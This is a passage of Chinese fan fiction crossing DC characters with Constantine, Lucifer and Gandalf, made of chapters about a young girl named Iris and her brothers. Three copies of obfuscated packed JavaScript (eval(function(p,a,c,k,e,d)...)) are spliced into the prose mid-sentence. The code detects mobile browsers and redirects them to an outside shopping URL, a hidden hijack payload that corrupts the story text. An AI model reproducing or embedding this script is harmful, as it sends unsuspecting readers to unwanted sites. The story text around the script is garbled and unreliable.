艾瑞斯能感觉到什么。 那种若有若无的存在感,越来越强。 康斯坦丁也感觉到了。 “它在这儿。”他低声说。 达米安皱起眉:“什么东西?” “朗基努斯之枪的残影。”艾瑞斯说。 她停下来。 前面是一片空地。杂草丛生,中间堆着几个生锈的集装箱。月光落在上面,投下长长的影子。 艾瑞斯看着那片空地。 她能感觉到。 就在那里。 在某个地方。 等着她。 13. 日常6(回忆篇) 1. 迪克·格雷森第一次认真注意到艾瑞斯,是在一个下雨的下午。 那时候他刚回大宅不久,窝在客厅的沙发里看一本漫画。窗外雨声淅沥,屋子里很安静,阿福在厨房准备晚餐,布鲁斯在书房,达米安不知道躲在哪里练刀。 一切都很好。 然后他的衣角被轻轻拽了一下。 迪克低头。 沙发旁边探出一个小脑袋。 浅灰黑色的头发有点乱,蓝眼睛亮晶晶的,正仰着脸看他。 “迪克。” “艾瑞斯?”他放下漫画,“你什么时候过来的?” “刚才。”她说,“我叫你了,你没听见。” 迪克愣了一下。 他确实没听见。 艾瑞斯从沙发旁边绕过来,挨着他坐下。小小的一团,软软的,挨在他胳膊上。 “你在看什么?” “漫画。” “好看吗?” “好看。” 艾瑞斯点点头,凑过来一起看。 她看不懂字,就看画。看到有趣的地方就笑,露出缺了一颗的门牙。 迪克低头看她。 她看得很认真,眼睛一眨一眨的,睫毛长长的。 窗外的雨还在下。 但屋子里很暖。 2. 后来迪克发现,艾瑞斯是个很奇怪的小孩。 她会在你完全没注意的时候突然出现,拉拉你的衣角,扯扯你的袖子,或者就只是站在旁边看着你。等你发现她的时候,她就冲你笑。 “你怎么总是不出声?”迪克有一次问她。 艾瑞斯想了想。 “我出声了。”她说,“你没听见。” 迪克噎了一下。 好像……也对? 艾瑞斯又想了想,补充道:“你耳朵不好。” “我耳朵好得很!” “那你为什么没听见?” 艾瑞斯摆出一副她很失望的表情。 迪克张了张嘴,发现自己说不过一个三岁小孩。 3. 迪克发现,和艾瑞斯在一起的时候,做什么都变得很有意思。 比如看电视。 他喜欢看马戏表演的录像。那些杂技演员在空中飞来飞去,做出各种高难度动作,他看得入迷。 艾瑞斯也看。 但她看的不是杂技演员。 “那个人的鼻子好红。”她说。 “那是小丑。” “他为什么要画哭脸?” “因为小丑都是要装扮的。。” 艾瑞斯盯着屏幕看了三秒。 “他是不是不开心?” 迪克愣了一下。 他不知道该怎么回答。 “迪克你别和那个叔叔一样,如果做一件事不开心就不要去做。我们都还有选择。” 4. 迪克偶尔会和艾瑞斯一起玩比如画画。 迪克喜欢画画。他画蝙蝠侠,画罗宾,画那些在天上飞来飞去的超级英雄。 艾瑞斯也画。 但她画的东西他看不懂。 一团绿色的东西,上面长着奇怪的黑点。 “这是什么?” “黄瓜狗狗。” “……黄瓜狗狗?” “嗯。”艾瑞斯指着那团绿色,“这是头,这是身体,这是尾巴。” 迪克仔细辨认了一下。 什么都辨认不出来。 “它为什么有六个脚?” “狗狗有四个脚。” 艾瑞斯低头看了看自己的画。 “哦,迪克真没有想象力…”她说。 然后她拿起笔,把两个脚涂掉了。 迪克:“……” 艾瑞斯抬起头,看着他一副我宠你的表情。 “现在好了。” 迪克看着那团仍然看不出是狗的东西。 “……嗯,好了。” 艾瑞斯满意地点点头,继续画。 过了一会儿,她把画举到他面前。 “送给你。” 迪克接过那张皱巴巴的纸。 六个脚的狗狗,被涂掉了两个脚,剩下的四个歪歪扭扭,尾巴比头还大。 他笑了。 “谢谢。” “不客气,记得挂你床头我会检查。” … 5. 他们一起吃饭。 艾瑞斯挑食。 她讨厌蔬菜,讨厌胡萝卜,讨厌一切绿色的东西。 但阿福总有办法让她吃下去。 “吃了这个,待会儿可以看一集动画片。” 艾瑞斯盯着碗里的青菜,表情像是在看什么可怕的东西。 迪克在旁边看着,觉得好笑。 “很难吃吗?” “难吃。”艾瑞斯认真地说。 “你吃过吗?” “没有。” “那你怎么知道难吃?” 艾瑞斯看着他,像是在看一个傻子。 “绿色的都难吃。” 迪克被她这个逻辑震住了。 他想了想,从她碗里夹了一根青菜,放进嘴里。 “还行啊。” 艾瑞斯瞪大眼睛,看着他嚼。 “你吃了?” “吃了。” “好吃吗?” “还行。” 艾瑞斯沉默了三秒。 然后她拿起勺子,舀了一根青菜,小心翼翼地放进嘴里。 嚼了嚼。 又嚼了嚼。 “怎么样?” 艾瑞斯看着他。 “……还行。” 迪克笑了。 从那以后,艾瑞斯吃青菜的时候,总要迪克在旁边先吃一口。 “你先吃。” “为什么?” “你吃了,我就吃。” 迪克觉得这个逻辑很奇怪,但他还是吃了。 艾瑞斯就跟着吃。 阿福看到这一幕,嘴角弯了一下。 6. 他们还一起种花。 那天下午天气很好,阳光暖洋洋的。 艾瑞斯蹲在花园里,盯着地面发呆。 迪克走过去,蹲在她旁边。 “看什么呢?” “没什么。”艾瑞斯说,“无聊。” 迪克想了想。 “要不……玩点什么?” “玩什么?” 迪克也不知道玩什么。 他们就这么蹲着,一起发呆。 过了一会儿,阿福端着茶具走出来。 看到两个蹲在地上的背影,他微微弯了弯嘴角。 “两位看起来很闲。” 艾瑞斯转过头。 “阿福,我好无聊。” 阿福放下茶具,走过来,低头看着那片空地。 “既然无聊,”他说,“不如种点东西。” 艾瑞斯眨眨眼。 “种东西?” “花。”阿福说,“把这片地翻一翻,撒上种子,过些日子就会开出花来。” 艾瑞斯低头看着那片灰扑扑的土。 “真的会开花?” “会的。”阿福说,“只要好好照顾它们。” 艾瑞斯想了想,抬头看迪克。 “种吗?” 迪克笑了。 “种。” 7. 阿福拿来两把小铲子,一小袋花种。 艾瑞斯蹲在地上,拿着铲子,不知道该怎么下手。 迪克在旁边示范。 “先挖一个坑,不用太深。然后把种子放进去,盖上土,浇点水。” 艾瑞斯认真地看着。 然后她开始挖。 挖出来的土撒得到处都是,溅到了迪克的裤腿上。 迪克没在意。 他也在挖自己的坑。 8. 艾瑞斯挖了三个坑。 迪克挖了五个。 他们把种子撒进去,盖上土,然后去找水管。 艾瑞斯抱着水管,对着那些坑一通乱浇。 水溅到迪克身上,他又往旁边躲了躲。 艾瑞斯抬起头,看着他湿了的袖子。 迪克等着她的道歉。 “迪克你好笨哦,都不知道要躲躲吗…” “…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244864|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪克,“?” 艾瑞斯摇头拿迪克一幅没办法的样子,继续浇。 浇完水,他们蹲在边上,看着那些刚埋下去的种子。 “什么时候能长出来?” “过几天吧。” “几天?” “大概……一周?” 艾瑞斯点点头。 她伸手,在第一个坑旁边插了一根小树枝。 “这个是我的。” 迪克也插了一根。 9. 那之后,艾瑞斯每天都要去看那些坑。 早上起床,第一件事就是跑到花园里,蹲在地上看。 “还没长出来。” 中午吃完饭,又跑去看。 “还没长出来。” 晚上睡觉前,还要去看。 “还没长出来。” 迪克每次都陪着她。 蹲在她旁边,一起盯着那些灰扑扑的土。 10. 第五天早上,艾瑞斯照常跑去看。 然后她愣住了。 “迪克!” 迪克从屋里跑出来。 “怎么了?” 艾瑞斯指着地上,眼睛亮晶晶的。 “发芽了。” 迪克蹲下来看。 真的长了。 小小的绿芽,从土里探出头来,嫩嫩的,软软的。 艾瑞斯盯着那些小芽,一动不动。 “好小。”她说。 “刚长出来都小。” “它们会变大吗?” “会。”迪克说,“变成花。” 艾瑞斯点点头。 她伸出手,想摸一摸。 又缩回去了。 迪克看着她的样子,忽然笑了。 11. 又过了一周,花开出来了。 小小的,白的黄的,挤在一起。 艾瑞斯蹲在花前面,看了很久。 “好看。”她说。 “嗯。” “我们种的。” “嗯。” 艾瑞斯抬起头,看着迪克。 “迪克。” “嗯?” “下次还种吗?” 迪克看着她那双亮晶晶的蓝眼睛。 “种。”他说,“下次种更多的。” 艾瑞斯笑了。 “那你负责种,我监工。” 迪克:? 露出缺了一颗的门牙。 13. 那天晚上艾瑞斯灵感爆发,迪克收到了一张画。 画上是两朵花,一朵大的,一朵小的。旁边站着两个小人,手牵着手。 下面歪歪扭扭写着:迪克和艾瑞斯,种花。 迪克把那张画贴在床头。 一直贴了很久。 13. 艾瑞斯偶而醒的很早,那她做第一件事就是去找迪克。 不是找布鲁斯,不是找阿福,是找他。 迪克有时候还在睡觉,就感觉有人在轻轻扯他的被子。 他睁开眼睛,看到一张凑得很近的小脸。 蓝眼睛亮晶晶的,正盯着他看。 “迪克,起床了。” “……几点了?” “不知道。” “那你为什么叫我?” “因为我醒了。” 艾瑞斯说这话的时候,还坐在他床边,两只手老老实实放在自己膝盖上。她没有碰他,只是等着。 迪克看着那张理直气壮的小脸,忽然不知道该说什么。 他叹了口气,坐起来。 艾瑞斯就乖乖地坐在旁边,等他清醒。 “今天干什么?”她问。 迪克揉了揉眼睛。 “你想干什么?” 艾瑞斯想了想。 “我们剪报纸玩吧,刚好可以完成我的手工作业。” 迪克很狠狠和艾瑞斯贴贴:“目的很明显了,这位小姐。” 14. 那天上午,他们坐在地板上拼了很久。 艾瑞斯拼的很认真,拼了一大只恐龙,三角龙,翼龙,史前大蟒蛇…… 这孩子一定看了纪录片。 14. 新生活5 28. 艾瑞斯站在码头的边缘,看着黑色的海水在堤岸下起伏。风很大,带着咸腥的气息,吹得她的风衣猎猎作响。远处有几盏灯,昏黄的光落在集装箱上,投下长长的影子。 康斯坦丁靠在一根柱子上抽烟,烟雾被风吹散,什么都留不下。达米安站在她身后几步远的地方,双手插在口袋里,表情一如既往地不耐烦——但他没有走。 “你确定是这儿?”康斯坦丁问。 艾瑞斯没有回答。 她在等。 或者说,她在感觉。 那种若有若无的存在感,像一根细细的线,牵着她往某个方向走。从码头区到港口,从港口到这片最边缘的堤岸。 就在附近。 她能感觉到。 【艾瑞斯。】哥谭的声音响起,低沉,带着警惕,【有人来了。】 艾瑞斯抬起头。 不是“有人”。 是“有东西”。 空气忽然变了,空间变得扭曲。 不是变冷,也不是变热,而是一种说不清的变化。像有什么东西撕开了一道口子,从另一个地方漏了过来。 康斯坦丁的烟灭了。 他把烟头扔在地上,用脚踩灭,抬起头。 “啧。” 达米安的手已经按在了刀柄上。 艾瑞斯没有动。 她看着前方的黑暗。 黑暗里走出一个人。 不,不是人。 那张脸她见过。 很久以前。在另一个地方。 路西法。 29. 他穿着一身剪裁考究的黑色西装,皮鞋锃亮,头发梳得一丝不苟。如果不是从那样的黑暗里走出来,他看起来就像任何一个深夜在港口散步的有钱人。 他站定,看着艾瑞斯。 然后他笑了。 “妹妹。” 那个词从他嘴里说出来,带着一种说不清的意味——亲昵,嘲弄,又像是什么别的。 艾瑞斯没动。 “别这么看我。”路西法走过来,在她面前三步远的地方停下,“好歹我们也是一家人,虽然这个世界线里我们不太熟。” 康斯坦丁在后面轻轻啧了一声。 达米安的手按得更紧了。 艾瑞斯开口了。 “你来干什么?” 路西法歪了歪头,嘴角带着笑。 “来看看你。”他说,“离家出走这么久,也不打个电话回家。爸爸很担心你。” “堕天使应该说出这种话吗…” “哦?”路西法的笑容更深了,“亲爱的,你还是太较真了。” 艾瑞斯没说话。 路西法往前迈了一步,离她更近了。 “你知道吗,地狱最近挺无聊的。”他说,“玛门走了之后,连个吵架的人都没有。我在想——你要不要来做客?” 艾瑞斯看着他。 “…” “对。参观参观。住几天。看看你哥哥我住的地方。”路西法的语气轻飘飘的,像在邀请她去喝杯茶,“保证比那些冷冰冰的地方舒服。” “我拒绝。” “为什么?” “不想。” 路西法盯着她看了三秒,少女的脸旁和“记忆”里那温和的笑脸交错。 然后他笑了。 “你还是这么倔。”他说,“小时候就这样,不该让你放牛的。脾气跟牛一样。” 他退后一步,双手插回口袋。 “那把枪的事,我不问了。”他说,“反正你找到了,我就知道了。但你要记住——” 他顿了顿,笑容淡了一点。 “你是我妹妹。不管你想不想承认。” 他转身,准备离开。 走了两步,他停下来。 回头看了她一眼。 “对了——记得来做客。” 然后他消失了。 像他来时一样突然。 30. 空气恢复了正常。 风还在吹,海水还在起伏。 好像什么都没发生过。 达米安的手从刀柄上放下来,眉头皱得很紧。 “他叫你妹妹。” “嗯。” “什么意思?” 艾瑞斯看了他一眼。 “字面意思。” 达米安还想再问,但艾瑞斯已经转过了身。 她看着路西法消失的方向。 31. 一个老头出现了。 从另一个方向。从灯光照不到的地方。慢慢地,一步一步地,走出来。 白胡子。灰袍子。一根木杖。 甘道夫。 32. 康斯坦丁的烟又掉了。 老实说他并不是一个不看书的人,眼前的老爷爷十分不对劲。 达米安的手重新按上刀柄。 艾瑞斯没有动。 她看着那个老人走到她面前,在三步远的地方停下。 他的眼睛很浑浊,像是看不清东西的样子。但当他对上她的视线时,那双眼睛里忽然有了光。 “又见面,艾瑞斯。”他说。 声音苍老,沙哑,像风吹过枯叶。 艾瑞斯看着他有些惊讶。 “你…居然记得。” 甘道夫点点头。 “我们不是好朋友吗。”他说,“想要忘记你可爱的笑脸还真是对我这个老爷爷有点难。” 33. 沉默在蔓延。 达米安的手还按在刀柄上,但没有拔出来。康斯坦丁站在旁边,难得没有说话。 甘道夫看着艾瑞斯。 “别太难过,艾瑞斯。你们是家人。” 甘道夫看着她,浑浊的眼睛里有一种古老的东西。 “你是他们的女儿。”他说,“或许你仍不知他们爱着你。” 风从海面上吹过来,很冷。 甘道夫继续说:“但那不是重点。重点是——那把枪。” 艾瑞斯的心跳漏了一拍。 “你知道它在哪儿?” 甘道夫点点头。 “我知道。”他说,“它在等我带你去。” “去哪儿?” 甘道夫看着她。 “一个你需要踏足的新世界。”他说,“它一直在那儿。从一开始就在等你。” 艾瑞斯的手开始发热,她感受到一阵灼痛感。 空气再次撕裂。 不是路西法那种优雅的撕裂,而是粗暴的、蛮横的撕开。一道巨大的裂缝在码头边缘张开,黑色的液体从里面涌出来,凝结成形状。 魔兽。 不止一只。 三只,五只,七只——越来越多。它们从裂缝里爬出来,四肢着地,眼睛泛着幽幽的绿光。最大的那只有两米多高,形状像某种变异的爬行动物,嘴角淌着黏液。 康斯坦丁骂了一句脏话。 达米安已经拔出了刀。 艾瑞斯没有动。 她看着那些魔兽,看着它们从裂缝里涌出来,看着它们环顾四周,然后—— 看向她。 所有的眼睛,都看向她。 为首那只最大的魔兽发出一声嘶吼,朝她扑过来。 34. 艾瑞斯侧身,避开那一扑。 一只手伸过来,递给她一样东西。 康斯坦丁。 “拿着。”他说,“早就给你准备好了。” 一把银色的长枪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244865|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是朗基努斯之枪。只是一把普通的银枪,但上面刻着复杂的符文,在黑暗中泛着微光。 艾瑞斯接过枪。 银光一闪。 枪尖刺入魔兽的侧颈。那东西发出一声尖啸,挣扎着后退,黑色的血从伤口涌出来。 艾瑞斯没有追。 她站在原地,枪尖斜指地面,看着那些魔兽。 “圣痕!”巨大的光阵亮起。 魔兽扑向艾瑞斯绿色的眼睛在黑暗中闪烁。 她只是握着那把银枪,在它们之间穿梭。 枪尖划开黑暗,银色的光迹带起黑色的血。她的动作干净利落,没有一丝多余。那些魔兽一只接一只倒下,嘶吼声渐渐变成哀鸣与灰烬。 艾瑞斯站在那儿,握着那把银枪,呼吸不稳甚至脑袋发昏。 枪尖上滴着黑色的血。 康斯坦丁走过来,看着一地狼藉。 “我就知道用得上。”他说。 艾瑞斯把枪递还给他。 “谢谢。” 康斯坦丁接过枪,擦了擦枪尖上的血。 “不客气。”他说,“你欠我个人情。” 35. 就在这时,一道黑色的身影从阴影里走出来。 蝙蝠侠。 他站在码头的入口处,黑色的披风在风里微微飘动,面具后面的眼睛正看着艾瑞斯。 不知道他来了多久。 不知道他看到了多少。 沉默。 然后他走过来,在她面前站定。 “你需要解释。”他说。 艾瑞斯看着他。 “解释什么?” “你是什么人?” 那双眼睛从面具后面看过来,锐利,冷静,带着审视。 艾瑞斯没有躲开那道目光。 “艾瑞斯,”她说,“斯塔克工业特派,魔兽事件联络员。” “你知道我问的不是这个。” 沉默了几秒。 艾瑞斯开口了。 “我是个孤儿。”她说,“在纽约长大,被斯塔克先生招募。身体素质比普通人好一点,学过一些格斗。刚才都是古一大师特训的功劳。” 半真半假。 蝙蝠侠盯着她。 “那个老人是谁?” 艾瑞斯回头看了一眼。 甘道夫还站在原地,灰袍子在风里微微飘动,像一尊古老的雕像。 “一个朋友。”她说。 “他从哪里来?” “很远的地方。” “你杀它们的时候,没有犹豫。经过特训的普通女孩不会第一次见血不害怕。” 那不是疑问。 艾瑞斯迎上他的目光。蓝色眼睛带着质问她未曾见过。 “解释吗?” 蝙蝠侠沉默了三秒。 “你还有别的问题吗?”艾瑞斯问。 蝙蝠侠盯着她。 那双眼睛很锐利。艾瑞斯知道他在想什么——他在想她的话哪些是真,哪些是假。 让他想。 “以上有准确的回答都属实吗?”蝙蝠侠问。 艾瑞斯看着他。 那双蓝色的眼睛,和她自己的一模一样。 “可能。”她说,“我会告诉你你需要知道的。” 36. 蝙蝠侠离开的时候,天边已经泛起了鱼肚白。 达米安看了她一眼,什么都没说,跟了上去。 康斯坦丁拍了拍身上的灰,点起一根烟。 “你刚才那个回答,”他说,“挺有意思的。话说你活干的不错要和我搭档吗?你四我六。” 艾瑞斯没理他。 她走向甘道夫。 老人还站在那儿,像是在等她。 15. 日常7(回忆篇) 15. 迪克·格雷森已经单飞很久了。 布鲁德海文的夜晚和哥谭不一样。这里的犯罪没那么疯狂,没那么扭曲,更像是普通城市的普通罪恶。 凌晨两点,他一个人坐在公寓的沙发上,电视开着,放着什么他根本没看的节目。屋里很安静,安静得能听到冰箱的嗡鸣声。 他又想起哥谭了。 他的家人和他的小妹妹。 迪克发现自己经常幻想一些奇怪的事。 比如如果艾瑞斯来布鲁德海文和他一起生活,会是什么样子? 他想过很多遍。 早上的时候,他会做早餐。艾瑞斯挑食,不吃绿色的东西,那他就不放绿色的东西。煎蛋、培根、烤面包,简单但好吃。艾瑞斯会坐在餐桌前,晃着两条够不着地的腿,等他端上来。 “迪克,我们一起带海莉去公园玩好吗…” 她迷迷糊糊的安排她的一天。 然后他接着说,“好啊。” “迪克,你吃掉剩下的蔬菜…” “我会向阿福告状的。”然后看着艾瑞斯的表情变得可爱起来。 他会一边假装威胁,一边帮她吃掉讨厌的蔬菜像是寻常的兄妹那样。 然后他们会一起出门。他去警局上班,她去上幼儿园——不对,那时候她才三岁,上什么幼儿园。那就是他去警局,她跟着阿福?不对,阿福在哥谭。 那谁照顾她? 这个问题在他幻想里经常卡住。 但他会想办法解决的。请个保姆?让邻居帮忙?实在不行就带着她去警局——反正艾瑞斯是一个很可爱的小孩,没人会讨厌她。 下午他下班回来,她会跑过来拉他的衣角。 “迪克,今天干什么?” “你想干什么?” “种花。” “行,种花。” 他们就蹲在阳台上种花。布鲁德海文的阳光比哥谭好,花应该能长得更快。 晚上他出去巡逻的时候,她会乖乖睡觉。他会给她讲故事,讲那些不吓人的、有美好结局的故事。等她睡着了,他才换上制服,从窗户翻出去。 她会梦到他。 然后他们生活的很幸福。 16. 有一次迪克想得太过投入,一发不可收拾。 他开始打扫房间。 客厅、卧室、厨房、卫生间,每一个角落都擦得干干净净。然后他看着家里那只狗——海莉,那只他救回来的三条腿的小姑娘——忽然觉得她也该洗个澡了。 海莉趴在她的窝里,圆溜溜的棕色眼睛看着他,两只下垂的大耳朵软软地搭着。她的毛色很漂亮,主体是柔软的浅棕色,耳朵和背上覆盖着大面积的深棕色毛发,像披着一件小披风。 她只有三条腿,但这从来不影响她的活泼可爱。 于是迪克给海莉洗了个澡。 吹干。 梳毛。 打理得漂漂亮亮。 忙完这一切,他坐在沙发上,看着干净得发光的房间,和那只傻乎乎看着他的小狗。 他忽然笑了。 笑得有点傻。 17. “你在干嘛?” 手机响了,是视频通话。 艾瑞斯的脸出现在屏幕上。她趴在床上,头发乱糟糟的,怀里抱着图画本。看着几个小人迪克猜的出她正在画各种装扮的布鲁斯,杰森和家里的每一个人。 “没干嘛。”迪克说。 “你家好干净。” “嗯,刚打扫完。” 艾瑞斯盯着屏幕看了三秒。 “海莉呢?” 迪克把镜头转过去,对准那只趴在狗窝里的小狗。 海莉听到自己的名字,抬起头,吐着舌头。她的三条腿撑起身子,颠颠儿地往镜头这边凑。 艾瑞斯的眼睛亮了。 “海莉——她好可爱。” “嗯,是挺可爱的。” “她的毛好漂亮。”艾瑞斯凑近屏幕,“像奶油。” 迪克笑了。 “是挺像奶油的。” “她为什么只有三条腿?” 迪克顿了一下。 “她以前受伤了。”他说,“被救的时候左前腿受了重伤,没能保住。但她跑得可快了,你根本看不出她少一条腿。” 艾瑞斯认真地看着屏幕里那只三条腿的小狗。 海莉正歪着头,圆溜溜的眼睛好奇地看着镜头。 “她厉害。”艾瑞斯说。 “嗯,很厉害。” 18. “迪克。” “嗯?” “你什么时候回来?” 迪克愣了一下。 他看着屏幕里那张小脸,看着她亮晶晶的蓝眼睛。 “想我了?” “并没有,迪克你不在没有人帮我吃蔬菜了” 迪克忽然觉得心里有什么地方软了一下。 “过几天就回去,但是蔬菜你得自己吃。”他说。 “几天?” “三天?” 艾瑞斯想了想。 “三天是多久?” “就是……睡三觉。” “哦。”艾瑞斯点点头,“那迪克你快点睡三觉吧。” “为什么不是你睡?” “因为我还有给你画一件裙子穿。” 她说完,把画板举起来,一个黑头发的小人就穿着一条紫蓝色的大蓬蓬裙。 迪克看着屏幕里那张睡脸,忍不住笑了。 19. 三天后,迪克回到哥谭。 他一进门,就有一个小身影冲过来,抱住他的腿。 “迪克!” 他低头,看到艾瑞斯仰着脸冲他笑。 “我给我你画了六条裙子”她说,“你回来了。” 20. 晚上,他们坐在花园里看星星。 哥谭的星星不多,稀稀落落的几颗,但艾瑞斯看得很认真。 “迪克。” “嗯?” “你在布鲁德海文,能看到星星吗?” “能。” “多吗?” “比哥谭多。” 艾瑞斯沉默了一会儿。 “那你一个人看星星,会不会无聊?” 迪克愣了一下。 他想起布鲁德海文的那些夜晚。一个人坐在阳台上,看着比哥谭多的星星,确实是……有点无聊。 “不会。”他说,“我有工作。” “工作完了呢?” “回家。” “回家然后呢?” “然后……陪海莉。” 艾瑞斯眨眨眼。 “海莉陪你?” “嗯。她趴在我脚边,我们一起看星星。” 艾瑞斯想了想。 “那海莉是好的。” 迪克笑了。 “对,海莉是好的。” 21. 艾瑞斯又想了想。 “那会不一样吗?” “什么?” “星星。”她说。 迪克看着她。 那双蓝眼睛很认真带着好奇。 “我来陪你吧。”艾瑞斯说,“跟海莉一起。” 迪克愣了一下。 他看着艾瑞斯认真的小脸,忽然起了逗她的心思。 “真的?你愿意跟我去布鲁德海文?” “嗯。” “不跟爸爸住了?” 艾瑞斯想了想。 “啊,爸爸。爸爸…嗯…我们给他打视频吧。” 噗呲一声笑,请原谅他。 艾瑞斯又想了想。 “我不去,你迪克你好讨厌哦。居然笑我…”她闷闷的说。 迪克笑了。 22. 但艾瑞斯接着说:“我不去,你会回来吗?” 迪克看着她。 “会。”他说,“我经常回来。” “经常是多久?” “就是……经常。” 艾瑞斯对这个答案不满意。 她皱着小眉头,像是在思考什么严肃的问题。 过了一会儿,她还是开口了。 “迪克。” “嗯?” “如果我去陪你,你会变得不孤独吗?” 迪克愣了一下。 “……会。” “那我就勉为其难去陪你吧。” 迪克看着她。 那双蓝眼睛亮晶晶的,认真得不得了。 他忽然不知道该说什么。 23. 第二天早上,整个大宅都震惊了。 艾瑞斯起得比平时早。她自己穿好了衣服——蓝色裙子,配着白色的小袜子,头发比平时整齐。脚边放着她那个小皮箱,上面贴满了鸢尾花贴纸。 阿福看到的时候,愣了一下。 “艾瑞斯小姐,您这是……要去郊游?” 艾瑞斯摇摇头。 “去布鲁德海文。” 阿福的眉毛抬了一下。 “……和迪克少爷?” “嗯。” 阿福沉默了一秒。 “布鲁斯老爷知道吗?” 艾瑞斯想了想。 “啊…昨天光听故事忘了说了…” 她说完,拖着她的小行李箱,哒哒哒地往迪克的房间走。 24. 迪克还在睡觉。 门被推开,一个小身影走进来。 “迪克。” 没反应。 “迪克。” 还是没反应。 一只小手伸过来,扯了扯他的被子。 “迪克,起床了。” 迪克睁开眼睛。 一张小脸凑得很近,蓝眼睛亮晶晶的。 “艾瑞斯?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244866|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我准备好了。” 迪克迷迷糊糊地坐起来。 “准备什么?” “去布鲁德海文。” 迪克愣住了。 他低头,看到艾瑞斯穿戴整齐,头发梳得光溜溜的,脚边放着那个小行李箱。 “……什么?” “你说过,我去你会开心。”艾瑞斯认真地看着他,“所以我来了。” 迪克张了张嘴,不知道该说什么。 艾瑞斯继续说:“但是我有一个要求。” “什么要求?” “周六和周日要回哥谭。”她说,“我要看爸爸,要看阿福他们。” 她顿了顿,补充道:“我要和海莉一起玩。” 迪克看着她——你还真是让他有些无可奈何。 25. “艾瑞斯……” 他开口,声音有点哑。 “你愿意陪我去,我很开心。” 艾瑞斯点点头。 “但是——” 艾瑞斯歪着头看他。 迪克深吸一口气。 “布鲁德海文那边,我还没准备好。”他说,“房子太小了,没有你的房间。而且我工作很忙,不能好好照顾你。” 艾瑞斯听着。 “所以这次,你先不去。等我把那边弄好了,再来接你,好不好?” 艾瑞斯沉默了一会儿。 “那你什么时候来接我?” 迪克想了想。 “很快。” “很快是多久?” “就是……很快。” 艾瑞斯盯着他。 那眼神,像是在说“你骗人”。 迪克心虚地移开视线。 26. 就在这时,门口传来一个声音。 “艾瑞斯。” 是布鲁斯。 他站在门口,穿着睡袍,头发也有点乱——显然是被吵醒的。 艾瑞斯转过头。 “爸爸。” 布鲁斯走过来,蹲下来,和她平视。 “你要跟迪克走?” 艾瑞斯点点头。 布鲁斯的脸上露出一种夸张的伤心表情。 “那爸爸怎么办?晚上谁给爸爸讲故事?” 艾瑞斯想了想。 “你可以自己讲。” 布鲁斯的表情更伤心了。 “自己讲没意思。” 艾瑞斯又想了想。 “爸爸你已经是大人了,你要坚强。加油!我看好你。” 布鲁斯愣了一下。 她看了看布鲁斯,又看了看迪克。 27. 房间里安静了几秒。 然后迪克笑了。 布鲁斯也笑了。 布鲁斯伸手揉了揉她的头发。 艾瑞斯被揉得头发又乱了,但她没躲。 迪克看着她。 还是妥协了。他说,“现在还不是时候。” 艾瑞斯眨眨眼。 “我有一个更好的主意。”布鲁斯说,“每个月有一天,是你们的日子。那一天迪克回来,或者你去找迪克。只有你们两个。做什么都行。” 艾瑞斯想了想。 “那听起来还行,迪克你认为呢?” “行。” “我觉得非常好。” “行。” 艾瑞斯满意地点点头。 “那好吧。” 28. 那天早上,迪克没有走成。 他被艾瑞斯拉着,在游乐园里玩了半天。 布鲁斯坐在不远处的长椅上,手里拿着一份报纸,但眼睛一直往这边看。 阿福端带来茶点,方便投喂艾瑞斯。 阳光很好。 29. 后来,每个月真的有那么一天。 有时候迪克回哥谭,带她去公园、去动物园、去吃冰淇淋。有时候艾瑞斯去布鲁德海文——当然是有人陪着去的——在他的小公寓里待一天,看海莉,在阳台上种花,听他讲布鲁德海文的故事。 海莉第一次见到艾瑞斯的时候,颠着三条腿跑过来,圆溜溜的眼睛好奇地盯着这个小不点。艾瑞斯蹲下来,小心翼翼地伸出手。 海莉舔了舔她的手指。 艾瑞斯笑了,缺的牙齿也长了起来。。 “她喜欢我。” “嗯,她喜欢你。” 30. 艾瑞斯每次都会带一张画给迪克。 有时候是公园,有时候是花,有时候是两个人手牵着手。 有时候是海莉。 三条腿的小狗,毛色画得不太准,但那圆溜溜的眼睛和下垂的大耳朵,一看就知道是谁。 迪克把那些画都贴在墙上。 贴得满满当当。 海莉的狗窝旁边也贴了一张。 艾瑞斯画的,一只三条腿的小狗,吐着舌头,旁边写着:海莉。 16.日常8(回忆篇) 1. 提姆第一次认真注意到艾瑞斯,是在一个再普通不过的下午。 他刚处理完一摞公司文件,从书房出来倒咖啡。走廊里很安静,只有他自己的脚步声。然后他感觉到了什么。 一道视线。 他停下脚步,转过头。 走廊拐角处,一个小身影站在那里。浅灰黑色的头发有点乱,蓝眼睛正看着他。没有躲闪,没有害羞,就那么看着。 提姆看着她。 她看着他。 三秒后,那个小身影转身走了。 啪嗒啪嗒的光脚声消失在走廊尽头。 提姆端着咖啡杯,站在原地。 2. 